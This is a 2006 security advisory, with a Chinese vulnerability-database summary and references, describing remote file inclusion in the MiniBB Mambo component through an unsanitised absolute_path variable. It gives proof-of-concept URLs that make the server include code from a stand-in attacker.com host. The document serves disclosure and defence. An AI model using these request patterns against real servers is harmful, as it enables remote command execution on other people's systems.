MiniBB多个远程文件包含漏洞

https://www.exploit-db.com/exploits/2030
https://cxsecurity.com/issue/WLB-2006070082
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200607-359

MiniBB（全称MinimalisticBulletinBoard）是一套免费、开源的互联网论坛软件。该软件支持多种论坛样式、多界面语言、多时区、插件扩展等。MiniBB处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。MiniBB的com_minibb.php和index.php脚本没能对absolute_path变量做充分的检查过滤，攻击者可以使脚本包含远程服务器上的PHP代码执行。

---------------------------------------------------------------------------------------------

MiniBB Forum Mambo Component <= 1.5a Remote File Include Vulnerabilities
-----------------------------------------------------------------------------------------------

 
Author          : Ahmad Maulana a.k.a Matdhule
Date            : July 14th 2006
Location        : Indonesia, Jakarta
Web             : http://advisories.echo.or.id/adv/adv39-matdhule-2006.txt
                  http://www.securityfocus.com/bid/18998
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
------------------------------------------------------------------------

 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# MiniBB Forum

Application     : MiniBB Forum (com_minibb.php & index.php)
version         : 1.5a

------------------------------------------------------------------------

 
Vulnerability:
~~~~~~~~~~~~~~~
 
# MiniBB Forum

In folder components we found vulnerability script com_minibb.php.

-----------------------com_minibb.php-----------------------------------
...................

If ($current=="bb_admin"){
  include("$absolute_path/components/minibb/bb_admin.php");
} else {
  include("$absolute_path/components/minibb/index.php");
...................

------------------------------------------------------------------------

In folder minibb we found vulnerability script index.php.

-----------------------index.php----------------------------------------
..............................

define ('INCLUDED776',1);

include ($absolute_path.'/components/minibb/setup_options.php');
if (isset($HTTP_COOKIE_VARS[$cookiename.'Language']) and $langCook=${$cookiename.'Language'}) { if
(file_exists("$absolute_path/components/minibb/lang/{$langCook}.php")) $lang=$langCook; }
include ($absolute_path.'/components/minibb/setup_'.$DB.'.php');
..............................

Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.
 
Proof Of Concept:
~~~~~~~~~~~~~~~~
 
http://[target]/[path]/components/com_minibb.php?absolute_path=http://attacker.com/evil.txt?
http://[target]/[path]/components/minibb/index.php?absolute_path= http://attacker.com/evil.txt?

Solution:
~~~~~~~~
 
sanitize variabel $absolute_path.
 
 
------------------------------------------------------------------------
---
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ #mardongan #jambihackerlink #e-c-h-o @ irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]---------------------------------- 

# milw0rm.com [2006-07-17]

来源:XF
名称:minibb-multiple-scripts-file-include(27749)
链接:http://xforce.iss.net/xforce/xfdb/27749
来源:BID
名称:18998
链接:http://www.securityfocus.com/bid/18998
来源:BUGTRAQ
名称:20060715MiniBBForum<=1.5aRemoteFileIncludeVulnerabilities
链接:http://www.securityfocus.com/archive/1/archive/1/440132/100/0/threaded
来源:SECTRACK
名称:1016507
链接:http://securitytracker.com/id?1016507
来源:OSVDB
名称:28594
链接:http://www.osvdb.org/28594
来源:MILW0RM
名称:2030
链接:http://www.milw0rm.com/exploits/2030
来源:SREASON
名称:1245
链接:http://securityreason.com/securityalert/1245
来源:MISC
链接:http://advisories.echo.or.id/adv/adv39-matdhule-2006.txt